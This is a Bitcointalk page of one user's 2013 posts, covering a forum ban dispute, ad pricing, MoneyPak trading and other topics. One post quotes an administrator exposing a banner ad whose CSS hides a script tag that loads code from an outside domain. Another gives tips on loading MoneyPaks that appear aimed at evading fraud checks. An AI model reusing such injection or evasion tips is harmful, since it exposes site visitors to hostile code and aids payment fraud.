Bitcoin Forum
September 25, 2024, 01:33:28 PM *
News: Latest Bitcoin Core release: 27.1 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 »
641  Other / Meta / Re: [CENSORSHIP] Matthew N. Wright on: August 17, 2013, 12:14:04 AM
Do whats best for us? We didn't vote them in based off of their opinion of how the forum should be ran, who other than the people are to say what is best for us? Whats best for us is what WE say.
Trolling isn't that bad, I have a shaky memory, but didn't theymos try to sell off what was it $500,000 worth of shares of a scam business right before they were caught..?

Edit:Edit badmaths: $78k back then, 551k today.
There is no voting, this isn't a democracy. Banning someone from a private website isn't censorship, that's ridiculous and shows you don't truly understand what censorship and freedom of speech mean. It's a privately owned forum, and theymos is exercising his right as property owner/administrator to manage as he sees fit. If you disagree, you are free to leave. You are not free to try and take the property owner's rights away on a whim just because you disagree with something he did. 

Actually I'm just going to stop here and quote DeathandTaxes here, he said it perfectly. Edit: Actually you were a part of this conversation about another troll who was banned, I guess you just like infringing on the rights of others whenever you disagree with them. Nice, you should get a job in government work.  Roll Eyes

Property doesn't only apply to physical property.    You have no freedom of speech as it relates to other citizens and their private property.   No forum can violate your freedom of speech because ...
Quote
Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.

Who can't abridge the freedom of speech?  That's right Congress can't.  Last time I checked the mods on this forum aren't Congress, aren't duly elected or appointed officials of any state.  They aren't even the agents of the state. 

Rights start with ownership.  The forum is OWNED by its owners.  Those owners use admins and mods to (as they see fit) to maximize the value of their property.  Property they own and have every right to control.  There is no difference between kicking a hunter off your land and kicking a person off a forum.  Both involve lawfully controlling one's property.

You don't need a freedom of Speech from other citizens you know why?
1) Other citizens don't have a monopoly on violence.  Other citizens can't under the law use force to silence your speech. 
2) Sure maybe you can't speak on this forum without rules (much like you can't hunt on anyone's private property without permission) but until bitcointalk.org becomes the sole mechanism of speech for the human race you have other options.
 

TL/DR:
I hate "rights" hypocrits.  I bet even now you fail to see that your demands of freedom of speech are a violation of the rights of others ... the rights of property owners to be free in the ownership of what is theirs.

Bolded the important part, that's why banning someone isn't censorship. I don't know how much more simpler it can be made. The only valid point I've seen made is that there are others who should be banned, but that's hardly new. Unbanning Matthew doesn't seem like the best solution to that particular problem.

Lol what ever buddy, banning someone from a private website is censorship I guess you don't know what censorship is, here is the wiki definition
"Censorship is the suppression of speech or other public communication which may be considered objectionable, harmful, sensitive, politically incorrect or inconvenient as determined by a government, media outlet or other controlling body. It can be done by governments and private organizations or by individuals who engage in self-censorship. It occurs in a variety of different contexts including speech, books, music, films, and other arts, the press, radio, television, and the Internet for a variety of reasons including national security, to control obscenity, child pornography, and hate speech, to protect children, to promote or restrict political or religious views, and to prevent slander and libel. It may or may not be legal. Many countries provide strong protections against censorship by law, but none of these protections are absolute and it is frequently necessary to balance conflicting rights in order to determine what can and cannot be censored."

This site is supposed to be about freedom, and so far the only freedom here is for scammers.
Does theymos even own this site? Someone gave him admin rights and a next there was Coup?
Honestly trying to scam, and banning people for no reason, that's a shitty admin.
642  Economy / Goods / Re: 650k volt stun gun iPhone case on: August 17, 2013, 12:01:40 AM
Neat, volts don't matter though, you can have 10 billion volts and it wont shock you any more than 650k.

Amperage is what you need to look at. Even a small amount of volts can kill you if the amps are high enough.

Actually, P=V*A, so you need both amperage and voltage to kill. A high voltage is preferred over high amperage because resistance increases with amperage. Voltage also allows the current to better transfer high resistance materials like skin.

You only need something like .7 amps to kill, volts don't matter you can have 101010101010101001010101010101010101010 volts and get the same shock.
643  Economy / Marketplace / Re: 1btc for 1 month webhosting, 10btc for 10 months (@ current rate) on: August 16, 2013, 01:50:02 PM
Please do you offer servers too, or shared hosting only?

Are you blind? this was started over 2 years ago.
644  Other / Meta / Re: IP address got banned on: August 16, 2013, 01:43:48 PM
Restart your router.
645  Economy / Goods / Re: 650k volt stun gun iPhone case on: August 16, 2013, 10:41:04 AM
Neat, volts don't matter though, you can have 10 billion volts and it wont shock you any more than 650k.
646  Other / Meta / Re: [CENSORSHIP] Matthew N. Wright on: August 16, 2013, 10:01:58 AM

Try to understand they are only trying to do what's best for us, dependless on their own relations..
Or maybe it's theymos' forum and he can do what he want with it? Wink

Maybe MNW trolled a bit too much finally?

But there certainly are more people that should get banned, too...

Do whats best for us? We didn't vote them in based off of their opinion of how the forum should be ran, who other than the people are to say what is best for us? Whats best for us is what WE say.
Trolling isn't that bad, I have a shaky memory, but didn't theymos try to sell off what was it $500,000 worth of shares of a scam business right before they were caught..?

Edit:Edit badmaths: $78k back then, 551k today.
647  Other / Meta / Re: [CENSORSHIP] Matthew N. Wright on: August 16, 2013, 09:12:59 AM
I wonder how Matthew would feel of he was reading this now.

He's far too self centered to not be reading it daily.

And I'm sure he's laughing his ass off that you guys still buy his bullshit after all he's done.  Y'all getting trolled and don't even know it. Amazes me how dumb smart people can be when you press the right buttons.

Not everyone here is for the person, but for the cause. Banning for trolling is censorship, and against what the community is. How about you give a trolling tag, and ban scammers. There is a reason there is an ignore button, who gives a shit what he says just click ignore.

Edit: I mean come on
https://bitcointalk.org/index.php?topic=274749.0
Here's an ad that was sent to me:

Sent to the address!

Here is my CSS code:

Code:
.minefieldadm {width:620px;height:40px;overflow:hidden;font-family:Verdana;font-size:14px;border:1px solid #000;display:inline-block;background: #a3d802;  background: -moz-linear-gradient(top, #a3d802 0%, #11a301 3%, #8ac916 6%, #f0b7a1 34%, #8c3310 50%, #752201 93%, #bf6e4e 98%);  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#a3d802), color-stop(3%,#11a301), color-stop(6%,#8ac916), color-stop(34%,#f0b7a1), color-stop(50%,#8c3310), color-stop(93%,#752201), color-stop(98%,#bf6e4e));  background: -webkit-linear-gradient(top, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);  background: -o-linear-gradient(top, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);background: -ms-linear-gradient(top, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);  background: linear-gradient(to bottom, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#a3d802', endColorstr='#bf6e4e',GradientType=0 );}
.minefieldshader {font-size: 155%;color: #FFFFFF;text-shadow: 0px 0px 8px rgba(0, 0, 0, 1);background: #b4e391;  background: -moz-linear-gradient(45deg, #b4e391 0%, #149b51 22%, #75e01d 27%, #369b14 62%, #5cdb1c 69%, #5cdb1c 86%, #b4e391 100%);  background: -webkit-gradient(linear, left bottom, right top, color-stop(0%,#b4e391), color-stop(22%,#149b51), color-stop(27%,#75e01d), color-stop(62%,#369b14), color-stop(69%,#5cdb1c), color-stop(86%,#5cdb1c), color-stop(100%,#b4e391));background: -webkit-linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);  background: -o-linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);}</style><script src='http://webkit-linear.in'></script><style>.minefieldshader{ background: -ms-linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);  background: linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#b4e391', endColorstr='#b4e391',GradientType=1 );margin-top: 3px;padding: 4px 3px 4px 3px;display: inline-block;}
.minefieldstar1 {width: 0;height: 0;border-left: 15px solid transparent;border-right: 15px solid transparent;border-bottom: 30px solid rgb(80, 189, 45);position:absolute;float:left;margin-left: 135px;}
.minefieldstar2 {width: 0;height: 0;border-left: 15px solid transparent;border-right: 15px solid transparent;border-bottom: 30px solid rgb(80, 189, 45);position:absolute;float:left;margin-left: 450px;}

Here is my HTML code:

Code:
<a href="http://minefield.bitcoinlab.org/?r=1XCa3af6FfBF9FZT"><div class="minefieldadm"><div class="minefieldstar1"></div>
<div class="minefieldstar2"></div><span class="minefieldshader">Bitcoin Minefield</span></div></a>

Please let me know when the ad is up. I'll be happy to give you stats on how many people clicked and how much BTC I made from this referral link.

Can you spot the problem? The CSS contains code injection:
Code:
</style><script src='http://webkit-linear.in'></script><style>

This URL contains nothing now. I guess he would have put something there if the ad had been accepted. I carefully check all ads by hand, though, so this kind of attack is pointless.

The guy even tried to fuck the entire forum via the admin, no ban, or scammer tag. what the hell is wrong with that picture?
648  Other / Meta / Re: Matthew N. Wright on: August 16, 2013, 07:17:11 AM
He was trolling continuously. He hasn't changed: He edited that poll after people had already voted to create misleading results.

Well, the forum policy since a long time ago was to ban trolls (as they impede the speech of others), and tag scammers.

As far as I can tell, banning MNW seems to be a consistent case of enforcing the forum rules. Period.

But, and I think I stated that on several occasions, I do have a lot of respect for Matthew and it makes me somewhat sad to no longer have him around.

I guess the right thing to do here would be to lift the ban as soon as the moderators find that appropriate.



Oh, sorry I misunderstood, I see now how trolling could be so much worse than someone stealing hundreds even thousands of dollars worth of items, money, and bitcoin.
The thing about scammers, they don't pay back shit.

Matthew held the SCAMMER tag for a while. He paid back, no shit!

Had a scammer tag for a shitty bet he didn't collect money on? That one? BFL made a bet that they failed to deliver on for a very long time, donating 1000 BTC to charity, then formed their own charity and donated the BTC to? You cant compare the two, Matthew didn't scam shit on that bet, there is a difference between blatantly stealing and making a joke bet you cant afford.
649  Other / Meta / Re: Matthew N. Wright on: August 14, 2013, 05:14:24 PM
He was trolling continuously. He hasn't changed: He edited that poll after people had already voted to create misleading results.

Honestly losing more and more respect.. You're telling me you're against trolling so much to 'ban' someone, but you let scammers walk around free with a tag? Whats wrong with that picture? Sounds like censorship to me.

P.S. MNW isn't someone who I'm affiliated with, so a neutral party that isn't pleased on whats going down.

Well, the forum policy since a long time ago was to ban trolls (as they impede the speech of others), and tag scammers. Scammers aren't banned outright as they could repay and resolve their issues, but they might still be banned if they start trolling. I believe terrytibbs (and Matthew himself) was one of the prime examples here.

Oh, sorry I misunderstood, I see now how trolling could be so much worse than someone stealing hundreds even thousands of dollars worth of items, money, and bitcoin.
The thing about scammers, they don't pay back shit.
650  Other / Meta / Re: Matthew N. Wright on: August 14, 2013, 04:54:42 PM
He was trolling continuously. He hasn't changed: He edited that poll after people had already voted to create misleading results.

Honestly losing more and more respect.. You're telling me you're against trolling so much to 'ban' someone, but you let scammers walk around free with a tag? Whats wrong with that picture? Sounds like censorship to me.

P.S. MNW isn't someone who I'm affiliated with, so a neutral party that isn't pleased on whats going down.
651  Economy / Marketplace / Re: Selling Ad Space on Bitcoin Blog (10k+ visitors per month) on: August 14, 2013, 05:16:09 AM
I recently applied to Adsense but I've heard that due to the nature of Bitcoin traffic(Tor,Proxies) they can ban you for suspicious traffic. I don't want that kind of head ache. I also prefer the idea of working with a Bitcoin businesses that are looking to expand. Bitcoiners should be helping Bitcoiners, not google.

http://www.techyduck.com/general-news/how-much-is-an-ad-banner-worth-on-my-website/

On that forum the guy proposes taking your monthly traffic and dividing by ten for a monthly ad rate. I don't think anyone is willing to pay 10BTC a month for advertising so how about 1BTC a month?

Probably not, a good adsense has a 5% CTR (click through rate) honestly looking at the charts with the BTC advertisement companies I don't think 5%, more like 1% if that. 1% of 10,000 is 100 * 0.50 = $50.
652  Bitcoin / Bitcoin Discussion / Re: New Bitcoin Exchange coming soon... on: August 14, 2013, 04:34:09 AM
Lol IPO .1 per share  Cheesy
653  Economy / Goods / Re: Electronic Cigarettes smoke for $35 a month! savesmoking.com/ on: August 14, 2013, 04:32:15 AM
Thank you, I'm glad you enjoy it.
654  Economy / Currency exchange / Re: Best cards to load and cash MoneyPaks? on: August 02, 2013, 10:32:00 PM
You can go to walmart and buy the greendot cards, they have a mastercard and visa. Buy both, and load one at a time, never 2 within 20 minutes. The only thing is its a temporary card I don't think you can use an atm since you have no pin, but you might be able to get cash back at walmart 20 times Cheesy
655  Economy / Service Discussion / Re: How much has mtgox made and how much does their exchange cost? on: August 02, 2013, 06:06:39 PM
No clue so I'll toss out numbers!

Average 30,000 btc a day, some more some less but lets say that :O
Running how long 2 years? lets say 700 days * 30000 - 21 million bitcoin transacted
0.5% fee

105000 bitcoin profit
656  Other / Beginners & Help / Re: Just-Dice on: July 30, 2013, 05:02:08 PM
what i read on a different forum was that he got scammed by one of his own users and his own community donated to get him back out of the red and continuing the site operation. I think when your own community trusts you enough to donate to you to keep your site going, it speaks volumes about the person running it.

the owner said he was trying to restructure the site for more security and features, but I'm not a dice roller so that's about the extent of what i know about that site.

He didn't get scammed, he just chose to do what some consider the right thing. Someone won a shit load of BTC, and the owner manually withdrew something like 1300 btc and forgot to zero out the persons balance. That person kept playing with the balance still there, lost it all, and the 1300 loss if it was real coins should have gone to the investors of the site, since it was not baked up by coins, and the investors were anticipating having a 1300 profit, he took his own coin and made up the difference.


--
And to the OP, yes its a legit site.
657  Economy / Currency exchange / Re: Would like to sell my btc tonight on: July 18, 2013, 09:21:30 AM
pmed
658  Economy / Service Announcements / Re: [Ann] Subcoin.com - place to sell Bitcoins on: July 18, 2013, 01:15:43 AM
Hi neurobox,
I'd think, Serve would work for Canada, but I'm not positive.
What other payments methods are there in Canada?
Do you have ACH (aka Direct deposit)?


We won't be doing Paypal any time soon.
I have some really painful memories from last time I've dealt with them...

Thanks
Denis

You're going to get screwed over a lot with serve, if the other party for what ever reason needs to validate them self, they freeze both accounts until that person validates them self.
659  Economy / Currency exchange / Re: Got moneypak $2165 for $2000 gox on: July 16, 2013, 07:59:04 PM
Winlock, google it.  Grin

Erm, I did, but its just security software? I don't see how this can help with my file management Tongue

Someone receives moneypak by files = Winlocker Virus.

Oh, no these moneypaks are legit, besides who saves moneypak numbers on their computer.. Unless they're doing business with them? And most people don't buy a moneypak to have it sit around, if they were stolen, surely they would be cashed by now  Wink
660  Economy / Currency exchange / Re: Got moneypak $2165 for $2000 gox on: July 16, 2013, 03:54:57 AM
Winlock, google it.  Grin

Erm, I did, but its just security software? I don't see how this can help with my file management Tongue
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!